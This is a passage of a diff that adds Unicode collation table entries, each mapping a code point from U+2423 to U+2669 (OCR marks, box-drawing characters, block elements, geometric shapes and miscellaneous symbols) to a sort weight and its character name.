+2423  ; [*0809.0020.0002] # OPEN BOX
+2424  ; [*080A.0020.0002] # SYMBOL FOR NEWLINE
+2425  ; [*080B.0020.0002] # SYMBOL FOR DELETE FORM TWO
+2426  ; [*080C.0020.0002] # SYMBOL FOR SUBSTITUTE FORM TWO
+2440  ; [*080D.0020.0002] # OCR HOOK
+2441  ; [*080E.0020.0002] # OCR CHAIR
+2442  ; [*080F.0020.0002] # OCR FORK
+2443  ; [*0810.0020.0002] # OCR INVERTED FORK
+2444  ; [*0811.0020.0002] # OCR BELT BUCKLE
+2445  ; [*0812.0020.0002] # OCR BOW TIE
+2446  ; [*0813.0020.0002] # OCR BRANCH BANK IDENTIFICATION
+2447  ; [*0814.0020.0002] # OCR AMOUNT OF CHECK
+2448  ; [*0815.0020.0002] # OCR DASH
+2449  ; [*0816.0020.0002] # OCR CUSTOMER ACCOUNT NUMBER
+244A  ; [*0817.0020.0002] # OCR DOUBLE BACKSLASH
+2500  ; [*0818.0020.0002] # BOX DRAWINGS LIGHT HORIZONTAL
+2501  ; [*0819.0020.0002] # BOX DRAWINGS HEAVY HORIZONTAL
+2502  ; [*081A.0020.0002] # BOX DRAWINGS LIGHT VERTICAL
+2503  ; [*081B.0020.0002] # BOX DRAWINGS HEAVY VERTICAL
+2504  ; [*081C.0020.0002] # BOX DRAWINGS LIGHT TRIPLE DASH HORIZONTAL
+2505  ; [*081D.0020.0002] # BOX DRAWINGS HEAVY TRIPLE DASH HORIZONTAL
+2506  ; [*081E.0020.0002] # BOX DRAWINGS LIGHT TRIPLE DASH VERTICAL
+2507  ; [*081F.0020.0002] # BOX DRAWINGS HEAVY TRIPLE DASH VERTICAL
+2508  ; [*0820.0020.0002] # BOX DRAWINGS LIGHT QUADRUPLE DASH HORIZONTAL
+2509  ; [*0821.0020.0002] # BOX DRAWINGS HEAVY QUADRUPLE DASH HORIZONTAL
+250A  ; [*0822.0020.0002] # BOX DRAWINGS LIGHT QUADRUPLE DASH VERTICAL
+250B  ; [*0823.0020.0002] # BOX DRAWINGS HEAVY QUADRUPLE DASH VERTICAL
+250C  ; [*0824.0020.0002] # BOX DRAWINGS LIGHT DOWN AND RIGHT
+250D  ; [*0825.0020.0002] # BOX DRAWINGS DOWN LIGHT AND RIGHT HEAVY
+250E  ; [*0826.0020.0002] # BOX DRAWINGS DOWN HEAVY AND RIGHT LIGHT
+250F  ; [*0827.0020.0002] # BOX DRAWINGS HEAVY DOWN AND RIGHT
+2510  ; [*0828.0020.0002] # BOX DRAWINGS LIGHT DOWN AND LEFT
+2511  ; [*0829.0020.0002] # BOX DRAWINGS DOWN LIGHT AND LEFT HEAVY
+2512  ; [*082A.0020.0002] # BOX DRAWINGS DOWN HEAVY AND LEFT LIGHT
+2513  ; [*082B.0020.0002] # BOX DRAWINGS HEAVY DOWN AND LEFT
+2514  ; [*082C.0020.0002] # BOX DRAWINGS LIGHT UP AND RIGHT
+2515  ; [*082D.0020.0002] # BOX DRAWINGS UP LIGHT AND RIGHT HEAVY
+2516  ; [*082E.0020.0002] # BOX DRAWINGS UP HEAVY AND RIGHT LIGHT
+2517  ; [*082F.0020.0002] # BOX DRAWINGS HEAVY UP AND RIGHT
+2518  ; [*0830.0020.0002] # BOX DRAWINGS LIGHT UP AND LEFT
+2519  ; [*0831.0020.0002] # BOX DRAWINGS UP LIGHT AND LEFT HEAVY
+251A  ; [*0832.0020.0002] # BOX DRAWINGS UP HEAVY AND LEFT LIGHT
+251B  ; [*0833.0020.0002] # BOX DRAWINGS HEAVY UP AND LEFT
+251C  ; [*0834.0020.0002] # BOX DRAWINGS LIGHT VERTICAL AND RIGHT
+251D  ; [*0835.0020.0002] # BOX DRAWINGS VERTICAL LIGHT AND RIGHT HEAVY
+251E  ; [*0836.0020.0002] # BOX DRAWINGS UP HEAVY AND RIGHT DOWN LIGHT
+251F  ; [*0837.0020.0002] # BOX DRAWINGS DOWN HEAVY AND RIGHT UP LIGHT
+2520  ; [*0838.0020.0002] # BOX DRAWINGS VERTICAL HEAVY AND RIGHT LIGHT
+2521  ; [*0839.0020.0002] # BOX DRAWINGS DOWN LIGHT AND RIGHT UP HEAVY
+2522  ; [*083A.0020.0002] # BOX DRAWINGS UP LIGHT AND RIGHT DOWN HEAVY
+2523  ; [*083B.0020.0002] # BOX DRAWINGS HEAVY VERTICAL AND RIGHT
+2524  ; [*083C.0020.0002] # BOX DRAWINGS LIGHT VERTICAL AND LEFT
+2525  ; [*083D.0020.0002] # BOX DRAWINGS VERTICAL LIGHT AND LEFT HEAVY
+2526  ; [*083E.0020.0002] # BOX DRAWINGS UP HEAVY AND LEFT DOWN LIGHT
+2527  ; [*083F.0020.0002] # BOX DRAWINGS DOWN HEAVY AND LEFT UP LIGHT
+2528  ; [*0840.0020.0002] # BOX DRAWINGS VERTICAL HEAVY AND LEFT LIGHT
+2529  ; [*0841.0020.0002] # BOX DRAWINGS DOWN LIGHT AND LEFT UP HEAVY
+252A  ; [*0842.0020.0002] # BOX DRAWINGS UP LIGHT AND LEFT DOWN HEAVY
+252B  ; [*0843.0020.0002] # BOX DRAWINGS HEAVY VERTICAL AND LEFT
+252C  ; [*0844.0020.0002] # BOX DRAWINGS LIGHT DOWN AND HORIZONTAL
+252D  ; [*0845.0020.0002] # BOX DRAWINGS LEFT HEAVY AND RIGHT DOWN LIGHT
+252E  ; [*0846.0020.0002] # BOX DRAWINGS RIGHT HEAVY AND LEFT DOWN LIGHT
+252F  ; [*0847.0020.0002] # BOX DRAWINGS DOWN LIGHT AND HORIZONTAL HEAVY
+2530  ; [*0848.0020.0002] # BOX DRAWINGS DOWN HEAVY AND HORIZONTAL LIGHT
+2531  ; [*0849.0020.0002] # BOX DRAWINGS RIGHT LIGHT AND LEFT DOWN HEAVY
+2532  ; [*084A.0020.0002] # BOX DRAWINGS LEFT LIGHT AND RIGHT DOWN HEAVY
+2533  ; [*084B.0020.0002] # BOX DRAWINGS HEAVY DOWN AND HORIZONTAL
+2534  ; [*084C.0020.0002] # BOX DRAWINGS LIGHT UP AND HORIZONTAL
+2535  ; [*084D.0020.0002] # BOX DRAWINGS LEFT HEAVY AND RIGHT UP LIGHT
+2536  ; [*084E.0020.0002] # BOX DRAWINGS RIGHT HEAVY AND LEFT UP LIGHT
+2537  ; [*084F.0020.0002] # BOX DRAWINGS UP LIGHT AND HORIZONTAL HEAVY
+2538  ; [*0850.0020.0002] # BOX DRAWINGS UP HEAVY AND HORIZONTAL LIGHT
+2539  ; [*0851.0020.0002] # BOX DRAWINGS RIGHT LIGHT AND LEFT UP HEAVY
+253A  ; [*0852.0020.0002] # BOX DRAWINGS LEFT LIGHT AND RIGHT UP HEAVY
+253B  ; [*0853.0020.0002] # BOX DRAWINGS HEAVY UP AND HORIZONTAL
+253C  ; [*0854.0020.0002] # BOX DRAWINGS LIGHT VERTICAL AND HORIZONTAL
+253D  ; [*0855.0020.0002] # BOX DRAWINGS LEFT HEAVY AND RIGHT VERTICAL LIGHT
+253E  ; [*0856.0020.0002] # BOX DRAWINGS RIGHT HEAVY AND LEFT VERTICAL LIGHT
+253F  ; [*0857.0020.0002] # BOX DRAWINGS VERTICAL LIGHT AND HORIZONTAL HEAVY
+2540  ; [*0858.0020.0002] # BOX DRAWINGS UP HEAVY AND DOWN HORIZONTAL LIGHT
+2541  ; [*0859.0020.0002] # BOX DRAWINGS DOWN HEAVY AND UP HORIZONTAL LIGHT
+2542  ; [*085A.0020.0002] # BOX DRAWINGS VERTICAL HEAVY AND HORIZONTAL LIGHT
+2543  ; [*085B.0020.0002] # BOX DRAWINGS LEFT UP HEAVY AND RIGHT DOWN LIGHT
+2544  ; [*085C.0020.0002] # BOX DRAWINGS RIGHT UP HEAVY AND LEFT DOWN LIGHT
+2545  ; [*085D.0020.0002] # BOX DRAWINGS LEFT DOWN HEAVY AND RIGHT UP LIGHT
+2546  ; [*085E.0020.0002] # BOX DRAWINGS RIGHT DOWN HEAVY AND LEFT UP LIGHT
+2547  ; [*085F.0020.0002] # BOX DRAWINGS DOWN LIGHT AND UP HORIZONTAL HEAVY
+2548  ; [*0860.0020.0002] # BOX DRAWINGS UP LIGHT AND DOWN HORIZONTAL HEAVY
+2549  ; [*0861.0020.0002] # BOX DRAWINGS RIGHT LIGHT AND LEFT VERTICAL HEAVY
+254A  ; [*0862.0020.0002] # BOX DRAWINGS LEFT LIGHT AND RIGHT VERTICAL HEAVY
+254B  ; [*0863.0020.0002] # BOX DRAWINGS HEAVY VERTICAL AND HORIZONTAL
+254C  ; [*0864.0020.0002] # BOX DRAWINGS LIGHT DOUBLE DASH HORIZONTAL
+254D  ; [*0865.0020.0002] # BOX DRAWINGS HEAVY DOUBLE DASH HORIZONTAL
+254E  ; [*0866.0020.0002] # BOX DRAWINGS LIGHT DOUBLE DASH VERTICAL
+254F  ; [*0867.0020.0002] # BOX DRAWINGS HEAVY DOUBLE DASH VERTICAL
+2550  ; [*0868.0020.0002] # BOX DRAWINGS DOUBLE HORIZONTAL
+2551  ; [*0869.0020.0002] # BOX DRAWINGS DOUBLE VERTICAL
+2552  ; [*086A.0020.0002] # BOX DRAWINGS DOWN SINGLE AND RIGHT DOUBLE
+2553  ; [*086B.0020.0002] # BOX DRAWINGS DOWN DOUBLE AND RIGHT SINGLE
+2554  ; [*086C.0020.0002] # BOX DRAWINGS DOUBLE DOWN AND RIGHT
+2555  ; [*086D.0020.0002] # BOX DRAWINGS DOWN SINGLE AND LEFT DOUBLE
+2556  ; [*086E.0020.0002] # BOX DRAWINGS DOWN DOUBLE AND LEFT SINGLE
+2557  ; [*086F.0020.0002] # BOX DRAWINGS DOUBLE DOWN AND LEFT
+2558  ; [*0870.0020.0002] # BOX DRAWINGS UP SINGLE AND RIGHT DOUBLE
+2559  ; [*0871.0020.0002] # BOX DRAWINGS UP DOUBLE AND RIGHT SINGLE
+255A  ; [*0872.0020.0002] # BOX DRAWINGS DOUBLE UP AND RIGHT
+255B  ; [*0873.0020.0002] # BOX DRAWINGS UP SINGLE AND LEFT DOUBLE
+255C  ; [*0874.0020.0002] # BOX DRAWINGS UP DOUBLE AND LEFT SINGLE
+255D  ; [*0875.0020.0002] # BOX DRAWINGS DOUBLE UP AND LEFT
+255E  ; [*0876.0020.0002] # BOX DRAWINGS VERTICAL SINGLE AND RIGHT DOUBLE
+255F  ; [*0877.0020.0002] # BOX DRAWINGS VERTICAL DOUBLE AND RIGHT SINGLE
+2560  ; [*0878.0020.0002] # BOX DRAWINGS DOUBLE VERTICAL AND RIGHT
+2561  ; [*0879.0020.0002] # BOX DRAWINGS VERTICAL SINGLE AND LEFT DOUBLE
+2562  ; [*087A.0020.0002] # BOX DRAWINGS VERTICAL DOUBLE AND LEFT SINGLE
+2563  ; [*087B.0020.0002] # BOX DRAWINGS DOUBLE VERTICAL AND LEFT
+2564  ; [*087C.0020.0002] # BOX DRAWINGS DOWN SINGLE AND HORIZONTAL DOUBLE
+2565  ; [*087D.0020.0002] # BOX DRAWINGS DOWN DOUBLE AND HORIZONTAL SINGLE
+2566  ; [*087E.0020.0002] # BOX DRAWINGS DOUBLE DOWN AND HORIZONTAL
+2567  ; [*087F.0020.0002] # BOX DRAWINGS UP SINGLE AND HORIZONTAL DOUBLE
+2568  ; [*0880.0020.0002] # BOX DRAWINGS UP DOUBLE AND HORIZONTAL SINGLE
+2569  ; [*0881.0020.0002] # BOX DRAWINGS DOUBLE UP AND HORIZONTAL
+256A  ; [*0882.0020.0002] # BOX DRAWINGS VERTICAL SINGLE AND HORIZONTAL DOUBLE
+256B  ; [*0883.0020.0002] # BOX DRAWINGS VERTICAL DOUBLE AND HORIZONTAL SINGLE
+256C  ; [*0884.0020.0002] # BOX DRAWINGS DOUBLE VERTICAL AND HORIZONTAL
+256D  ; [*0885.0020.0002] # BOX DRAWINGS LIGHT ARC DOWN AND RIGHT
+256E  ; [*0886.0020.0002] # BOX DRAWINGS LIGHT ARC DOWN AND LEFT
+256F  ; [*0887.0020.0002] # BOX DRAWINGS LIGHT ARC UP AND LEFT
+2570  ; [*0888.0020.0002] # BOX DRAWINGS LIGHT ARC UP AND RIGHT
+2571  ; [*0889.0020.0002] # BOX DRAWINGS LIGHT DIAGONAL UPPER RIGHT TO LOWER LEFT
+2572  ; [*088A.0020.0002] # BOX DRAWINGS LIGHT DIAGONAL UPPER LEFT TO LOWER RIGHT
+2573  ; [*088B.0020.0002] # BOX DRAWINGS LIGHT DIAGONAL CROSS
+2574  ; [*088C.0020.0002] # BOX DRAWINGS LIGHT LEFT
+2575  ; [*088D.0020.0002] # BOX DRAWINGS LIGHT UP
+2576  ; [*088E.0020.0002] # BOX DRAWINGS LIGHT RIGHT
+2577  ; [*088F.0020.0002] # BOX DRAWINGS LIGHT DOWN
+2578  ; [*0890.0020.0002] # BOX DRAWINGS HEAVY LEFT
+2579  ; [*0891.0020.0002] # BOX DRAWINGS HEAVY UP
+257A  ; [*0892.0020.0002] # BOX DRAWINGS HEAVY RIGHT
+257B  ; [*0893.0020.0002] # BOX DRAWINGS HEAVY DOWN
+257C  ; [*0894.0020.0002] # BOX DRAWINGS LIGHT LEFT AND HEAVY RIGHT
+257D  ; [*0895.0020.0002] # BOX DRAWINGS LIGHT UP AND HEAVY DOWN
+257E  ; [*0896.0020.0002] # BOX DRAWINGS HEAVY LEFT AND LIGHT RIGHT
+257F  ; [*0897.0020.0002] # BOX DRAWINGS HEAVY UP AND LIGHT DOWN
+2580  ; [*0898.0020.0002] # UPPER HALF BLOCK
+2581  ; [*0899.0020.0002] # LOWER ONE EIGHTH BLOCK
+2582  ; [*089A.0020.0002] # LOWER ONE QUARTER BLOCK
+2583  ; [*089B.0020.0002] # LOWER THREE EIGHTHS BLOCK
+2584  ; [*089C.0020.0002] # LOWER HALF BLOCK
+2585  ; [*089D.0020.0002] # LOWER FIVE EIGHTHS BLOCK
+2586  ; [*089E.0020.0002] # LOWER THREE QUARTERS BLOCK
+2587  ; [*089F.0020.0002] # LOWER SEVEN EIGHTHS BLOCK
+2588  ; [*08A0.0020.0002] # FULL BLOCK
+2589  ; [*08A1.0020.0002] # LEFT SEVEN EIGHTHS BLOCK
+258A  ; [*08A2.0020.0002] # LEFT THREE QUARTERS BLOCK
+258B  ; [*08A3.0020.0002] # LEFT FIVE EIGHTHS BLOCK
+258C  ; [*08A4.0020.0002] # LEFT HALF BLOCK
+258D  ; [*08A5.0020.0002] # LEFT THREE EIGHTHS BLOCK
+258E  ; [*08A6.0020.0002] # LEFT ONE QUARTER BLOCK
+258F  ; [*08A7.0020.0002] # LEFT ONE EIGHTH BLOCK
+2590  ; [*08A8.0020.0002] # RIGHT HALF BLOCK
+2591  ; [*08A9.0020.0002] # LIGHT SHADE
+2592  ; [*08AA.0020.0002] # MEDIUM SHADE
+2593  ; [*08AB.0020.0002] # DARK SHADE
+2594  ; [*08AC.0020.0002] # UPPER ONE EIGHTH BLOCK
+2595  ; [*08AD.0020.0002] # RIGHT ONE EIGHTH BLOCK
+2596  ; [*08AE.0020.0002] # QUADRANT LOWER LEFT
+2597  ; [*08AF.0020.0002] # QUADRANT LOWER RIGHT
+2598  ; [*08B0.0020.0002] # QUADRANT UPPER LEFT
+2599  ; [*08B1.0020.0002] # QUADRANT UPPER LEFT AND LOWER LEFT AND LOWER RIGHT
+259A  ; [*08B2.0020.0002] # QUADRANT UPPER LEFT AND LOWER RIGHT
+259B  ; [*08B3.0020.0002] # QUADRANT UPPER LEFT AND UPPER RIGHT AND LOWER LEFT
+259C  ; [*08B4.0020.0002] # QUADRANT UPPER LEFT AND UPPER RIGHT AND LOWER RIGHT
+259D  ; [*08B5.0020.0002] # QUADRANT UPPER RIGHT
+259E  ; [*08B6.0020.0002] # QUADRANT UPPER RIGHT AND LOWER LEFT
+259F  ; [*08B7.0020.0002] # QUADRANT UPPER RIGHT AND LOWER LEFT AND LOWER RIGHT
+25A0  ; [*08B8.0020.0002] # BLACK SQUARE
+25A1  ; [*08B9.0020.0002] # WHITE SQUARE
+25A2  ; [*08BA.0020.0002] # WHITE SQUARE WITH ROUNDED CORNERS
+25A3  ; [*08BB.0020.0002] # WHITE SQUARE CONTAINING BLACK SMALL SQUARE
+25A4  ; [*08BC.0020.0002] # SQUARE WITH HORIZONTAL FILL
+25A5  ; [*08BD.0020.0002] # SQUARE WITH VERTICAL FILL
+25A6  ; [*08BE.0020.0002] # SQUARE WITH ORTHOGONAL CROSSHATCH FILL
+25A7  ; [*08BF.0020.0002] # SQUARE WITH UPPER LEFT TO LOWER RIGHT FILL
+25A8  ; [*08C0.0020.0002] # SQUARE WITH UPPER RIGHT TO LOWER LEFT FILL
+25A9  ; [*08C1.0020.0002] # SQUARE WITH DIAGONAL CROSSHATCH FILL
+25AA  ; [*08C2.0020.0002] # BLACK SMALL SQUARE
+25AB  ; [*08C3.0020.0002] # WHITE SMALL SQUARE
+25AC  ; [*08C4.0020.0002] # BLACK RECTANGLE
+25AD  ; [*08C5.0020.0002] # WHITE RECTANGLE
+25AE  ; [*08C6.0020.0002] # BLACK VERTICAL RECTANGLE
+25AF  ; [*08C7.0020.0002] # WHITE VERTICAL RECTANGLE
+25B0  ; [*08C8.0020.0002] # BLACK PARALLELOGRAM
+25B1  ; [*08C9.0020.0002] # WHITE PARALLELOGRAM
+25B2  ; [*08CA.0020.0002] # BLACK UP-POINTING TRIANGLE
+25B3  ; [*08CB.0020.0002] # WHITE UP-POINTING TRIANGLE
+25B4  ; [*08CC.0020.0002] # BLACK UP-POINTING SMALL TRIANGLE
+25B5  ; [*08CD.0020.0002] # WHITE UP-POINTING SMALL TRIANGLE
+25B6  ; [*08CE.0020.0002] # BLACK RIGHT-POINTING TRIANGLE
+25B7  ; [*08CF.0020.0002] # WHITE RIGHT-POINTING TRIANGLE
+25B8  ; [*08D0.0020.0002] # BLACK RIGHT-POINTING SMALL TRIANGLE
+25B9  ; [*08D1.0020.0002] # WHITE RIGHT-POINTING SMALL TRIANGLE
+25BA  ; [*08D2.0020.0002] # BLACK RIGHT-POINTING POINTER
+25BB  ; [*08D3.0020.0002] # WHITE RIGHT-POINTING POINTER
+25BC  ; [*08D4.0020.0002] # BLACK DOWN-POINTING TRIANGLE
+25BD  ; [*08D5.0020.0002] # WHITE DOWN-POINTING TRIANGLE
+25BE  ; [*08D6.0020.0002] # BLACK DOWN-POINTING SMALL TRIANGLE
+25BF  ; [*08D7.0020.0002] # WHITE DOWN-POINTING SMALL TRIANGLE
+25C0  ; [*08D8.0020.0002] # BLACK LEFT-POINTING TRIANGLE
+25C1  ; [*08D9.0020.0002] # WHITE LEFT-POINTING TRIANGLE
+25C2  ; [*08DA.0020.0002] # BLACK LEFT-POINTING SMALL TRIANGLE
+25C3  ; [*08DB.0020.0002] # WHITE LEFT-POINTING SMALL TRIANGLE
+25C4  ; [*08DC.0020.0002] # BLACK LEFT-POINTING POINTER
+25C5  ; [*08DD.0020.0002] # WHITE LEFT-POINTING POINTER
+25C6  ; [*08DE.0020.0002] # BLACK DIAMOND
+25C7  ; [*08DF.0020.0002] # WHITE DIAMOND
+25C8  ; [*08E0.0020.0002] # WHITE DIAMOND CONTAINING BLACK SMALL DIAMOND
+25C9  ; [*08E1.0020.0002] # FISHEYE
+25CA  ; [*08E2.0020.0002] # LOZENGE
+25CB  ; [*08E3.0020.0002] # WHITE CIRCLE
+25CC  ; [*08E4.0020.0002] # DOTTED CIRCLE
+25CD  ; [*08E5.0020.0002] # CIRCLE WITH VERTICAL FILL
+25CE  ; [*08E6.0020.0002] # BULLSEYE
+25CF  ; [*08E7.0020.0002] # BLACK CIRCLE
+25D0  ; [*08E8.0020.0002] # CIRCLE WITH LEFT HALF BLACK
+25D1  ; [*08E9.0020.0002] # CIRCLE WITH RIGHT HALF BLACK
+25D2  ; [*08EA.0020.0002] # CIRCLE WITH LOWER HALF BLACK
+25D3  ; [*08EB.0020.0002] # CIRCLE WITH UPPER HALF BLACK
+25D4  ; [*08EC.0020.0002] # CIRCLE WITH UPPER RIGHT QUADRANT BLACK
+25D5  ; [*08ED.0020.0002] # CIRCLE WITH ALL BUT UPPER LEFT QUADRANT BLACK
+25D6  ; [*08EE.0020.0002] # LEFT HALF BLACK CIRCLE
+25D7  ; [*08EF.0020.0002] # RIGHT HALF BLACK CIRCLE
+25D8  ; [*08F0.0020.0002] # INVERSE BULLET
+25D9  ; [*08F1.0020.0002] # INVERSE WHITE CIRCLE
+25DA  ; [*08F2.0020.0002] # UPPER HALF INVERSE WHITE CIRCLE
+25DB  ; [*08F3.0020.0002] # LOWER HALF INVERSE WHITE CIRCLE
+25DC  ; [*08F4.0020.0002] # UPPER LEFT QUADRANT CIRCULAR ARC
+25DD  ; [*08F5.0020.0002] # UPPER RIGHT QUADRANT CIRCULAR ARC
+25DE  ; [*08F6.0020.0002] # LOWER RIGHT QUADRANT CIRCULAR ARC
+25DF  ; [*08F7.0020.0002] # LOWER LEFT QUADRANT CIRCULAR ARC
+25E0  ; [*08F8.0020.0002] # UPPER HALF CIRCLE
+25E1  ; [*08F9.0020.0002] # LOWER HALF CIRCLE
+25E2  ; [*08FA.0020.0002] # BLACK LOWER RIGHT TRIANGLE
+25E3  ; [*08FB.0020.0002] # BLACK LOWER LEFT TRIANGLE
+25E4  ; [*08FC.0020.0002] # BLACK UPPER LEFT TRIANGLE
+25E5  ; [*08FD.0020.0002] # BLACK UPPER RIGHT TRIANGLE
+25E6  ; [*08FE.0020.0002] # WHITE BULLET
+25E7  ; [*08FF.0020.0002] # SQUARE WITH LEFT HALF BLACK
+25E8  ; [*0900.0020.0002] # SQUARE WITH RIGHT HALF BLACK
+25E9  ; [*0901.0020.0002] # SQUARE WITH UPPER LEFT DIAGONAL HALF BLACK
+25EA  ; [*0902.0020.0002] # SQUARE WITH LOWER RIGHT DIAGONAL HALF BLACK
+25EB  ; [*0903.0020.0002] # WHITE SQUARE WITH VERTICAL BISECTING LINE
+25EC  ; [*0904.0020.0002] # WHITE UP-POINTING TRIANGLE WITH DOT
+25ED  ; [*0905.0020.0002] # UP-POINTING TRIANGLE WITH LEFT HALF BLACK
+25EE  ; [*0906.0020.0002] # UP-POINTING TRIANGLE WITH RIGHT HALF BLACK
+25EF  ; [*0907.0020.0002] # LARGE CIRCLE
+25F0  ; [*0908.0020.0002] # WHITE SQUARE WITH UPPER LEFT QUADRANT
+25F1  ; [*0909.0020.0002] # WHITE SQUARE WITH LOWER LEFT QUADRANT
+25F2  ; [*090A.0020.0002] # WHITE SQUARE WITH LOWER RIGHT QUADRANT
+25F3  ; [*090B.0020.0002] # WHITE SQUARE WITH UPPER RIGHT QUADRANT
+25F4  ; [*090C.0020.0002] # WHITE CIRCLE WITH UPPER LEFT QUADRANT
+25F5  ; [*090D.0020.0002] # WHITE CIRCLE WITH LOWER LEFT QUADRANT
+25F6  ; [*090E.0020.0002] # WHITE CIRCLE WITH LOWER RIGHT QUADRANT
+25F7  ; [*090F.0020.0002] # WHITE CIRCLE WITH UPPER RIGHT QUADRANT
+25F8  ; [*0910.0020.0002] # UPPER LEFT TRIANGLE
+25F9  ; [*0911.0020.0002] # UPPER RIGHT TRIANGLE
+25FA  ; [*0912.0020.0002] # LOWER LEFT TRIANGLE
+25FB  ; [*0913.0020.0002] # WHITE MEDIUM SQUARE
+25FC  ; [*0914.0020.0002] # BLACK MEDIUM SQUARE
+25FD  ; [*0915.0020.0002] # WHITE MEDIUM SMALL SQUARE
+25FE  ; [*0916.0020.0002] # BLACK MEDIUM SMALL SQUARE
+25FF  ; [*0917.0020.0002] # LOWER RIGHT TRIANGLE
+2600  ; [*0918.0020.0002] # BLACK SUN WITH RAYS
+2601  ; [*0919.0020.0002] # CLOUD
+2602  ; [*091A.0020.0002] # UMBRELLA
+2603  ; [*091B.0020.0002] # SNOWMAN
+2604  ; [*091C.0020.0002] # COMET
+2605  ; [*091D.0020.0002] # BLACK STAR
+2606  ; [*091E.0020.0002] # WHITE STAR
+2607  ; [*091F.0020.0002] # LIGHTNING
+2608  ; [*0920.0020.0002] # THUNDERSTORM
+2609  ; [*0921.0020.0002] # SUN
+260A  ; [*0922.0020.0002] # ASCENDING NODE
+260B  ; [*0923.0020.0002] # DESCENDING NODE
+260C  ; [*0924.0020.0002] # CONJUNCTION
+260D  ; [*0925.0020.0002] # OPPOSITION
+260E  ; [*0926.0020.0002] # BLACK TELEPHONE
+260F  ; [*0927.0020.0002] # WHITE TELEPHONE
+2610  ; [*0928.0020.0002] # BALLOT BOX
+2611  ; [*0929.0020.0002] # BALLOT BOX WITH CHECK
+2612  ; [*092A.0020.0002] # BALLOT BOX WITH X
+2613  ; [*092B.0020.0002] # SALTIRE
+2614  ; [*092C.0020.0002] # UMBRELLA WITH RAIN DROPS
+2615  ; [*092D.0020.0002] # HOT BEVERAGE
+2616  ; [*092E.0020.0002] # WHITE SHOGI PIECE
+2617  ; [*092F.0020.0002] # BLACK SHOGI PIECE
+2618  ; [*0930.0020.0002] # SHAMROCK
+2619  ; [*0931.0020.0002] # REVERSED ROTATED FLORAL HEART BULLET
+261A  ; [*0932.0020.0002] # BLACK LEFT POINTING INDEX
+261B  ; [*0933.0020.0002] # BLACK RIGHT POINTING INDEX
+261C  ; [*0934.0020.0002] # WHITE LEFT POINTING INDEX
+261D  ; [*0935.0020.0002] # WHITE UP POINTING INDEX
+261E  ; [*0936.0020.0002] # WHITE RIGHT POINTING INDEX
+261F  ; [*0937.0020.0002] # WHITE DOWN POINTING INDEX
+2620  ; [*0938.0020.0002] # SKULL AND CROSSBONES
+2621  ; [*0939.0020.0002] # CAUTION SIGN
+2622  ; [*093A.0020.0002] # RADIOACTIVE SIGN
+2623  ; [*093B.0020.0002] # BIOHAZARD SIGN
+2624  ; [*093C.0020.0002] # CADUCEUS
+2625  ; [*093D.0020.0002] # ANKH
+2626  ; [*093E.0020.0002] # ORTHODOX CROSS
+2627  ; [*093F.0020.0002] # CHI RHO
+2628  ; [*0940.0020.0002] # CROSS OF LORRAINE
+2629  ; [*0941.0020.0002] # CROSS OF JERUSALEM
+262A  ; [*0942.0020.0002] # STAR AND CRESCENT
+262B  ; [*0943.0020.0002] # FARSI SYMBOL
+262C  ; [*0944.0020.0002] # ADI SHAKTI
+262D  ; [*0945.0020.0002] # HAMMER AND SICKLE
+262E  ; [*0946.0020.0002] # PEACE SYMBOL
+262F  ; [*0947.0020.0002] # YIN YANG
+2630  ; [*0EA2.0020.0002] # TRIGRAM FOR HEAVEN
+2631  ; [*0EA3.0020.0002] # TRIGRAM FOR LAKE
+2632  ; [*0EA4.0020.0002] # TRIGRAM FOR FIRE
+2633  ; [*0EA5.0020.0002] # TRIGRAM FOR THUNDER
+2634  ; [*0EA6.0020.0002] # TRIGRAM FOR WIND
+2635  ; [*0EA7.0020.0002] # TRIGRAM FOR WATER
+2636  ; [*0EA8.0020.0002] # TRIGRAM FOR MOUNTAIN
+2637  ; [*0EA9.0020.0002] # TRIGRAM FOR EARTH
+2638  ; [*0948.0020.0002] # WHEEL OF DHARMA
+2639  ; [*0949.0020.0002] # WHITE FROWNING FACE
+263A  ; [*094A.0020.0002] # WHITE SMILING FACE
+263B  ; [*094B.0020.0002] # BLACK SMILING FACE
+263C  ; [*094C.0020.0002] # WHITE SUN WITH RAYS
+263D  ; [*094D.0020.0002] # FIRST QUARTER MOON
+263E  ; [*094E.0020.0002] # LAST QUARTER MOON
+263F  ; [*094F.0020.0002] # MERCURY
+2640  ; [*0950.0020.0002] # FEMALE SIGN
+2641  ; [*0951.0020.0002] # EARTH
+2642  ; [*0952.0020.0002] # MALE SIGN
+2643  ; [*0953.0020.0002] # JUPITER
+2644  ; [*0954.0020.0002] # SATURN
+2645  ; [*0955.0020.0002] # URANUS
+2646  ; [*0956.0020.0002] # NEPTUNE
+2647  ; [*0957.0020.0002] # PLUTO
+2648  ; [*0958.0020.0002] # ARIES
+2649  ; [*0959.0020.0002] # TAURUS
+264A  ; [*095A.0020.0002] # GEMINI
+264B  ; [*095B.0020.0002] # CANCER
+264C  ; [*095C.0020.0002] # LEO
+264D  ; [*095D.0020.0002] # VIRGO
+264E  ; [*095E.0020.0002] # LIBRA
+264F  ; [*095F.0020.0002] # SCORPIUS
+2650  ; [*0960.0020.0002] # SAGITTARIUS
+2651  ; [*0961.0020.0002] # CAPRICORN
+2652  ; [*0962.0020.0002] # AQUARIUS
+2653  ; [*0963.0020.0002] # PISCES
+2654  ; [*0964.0020.0002] # WHITE CHESS KING
+2655  ; [*0965.0020.0002] # WHITE CHESS QUEEN
+2656  ; [*0966.0020.0002] # WHITE CHESS ROOK
+2657  ; [*0967.0020.0002] # WHITE CHESS BISHOP
+2658  ; [*0968.0020.0002] # WHITE CHESS KNIGHT
+2659  ; [*0969.0020.0002] # WHITE CHESS PAWN
+265A  ; [*096A.0020.0002] # BLACK CHESS KING
+265B  ; [*096B.0020.0002] # BLACK CHESS QUEEN
+265C  ; [*096C.0020.0002] # BLACK CHESS ROOK
+265D  ; [*096D.0020.0002] # BLACK CHESS BISHOP
+265E  ; [*096E.0020.0002] # BLACK CHESS KNIGHT
+265F  ; [*096F.0020.0002] # BLACK CHESS PAWN
+2660  ; [*0970.0020.0002] # BLACK SPADE SUIT
+2661  ; [*0971.0020.0002] # WHITE HEART SUIT
+2662  ; [*0972.0020.0002] # WHITE DIAMOND SUIT
+2663  ; [*0973.0020.0002] # BLACK CLUB SUIT
+2664  ; [*0974.0020.0002] # WHITE SPADE SUIT
+2665  ; [*0975.0020.0002] # BLACK HEART SUIT
+2666  ; [*0976.0020.0002] # BLACK DIAMOND SUIT
+2667  ; [*0977.0020.0002] # WHITE CLUB SUIT
+2668  ; [*0978.0020.0002] # HOT SPRINGS
+2669  ; [*0979.0020.0002] # QUARTER NOTE
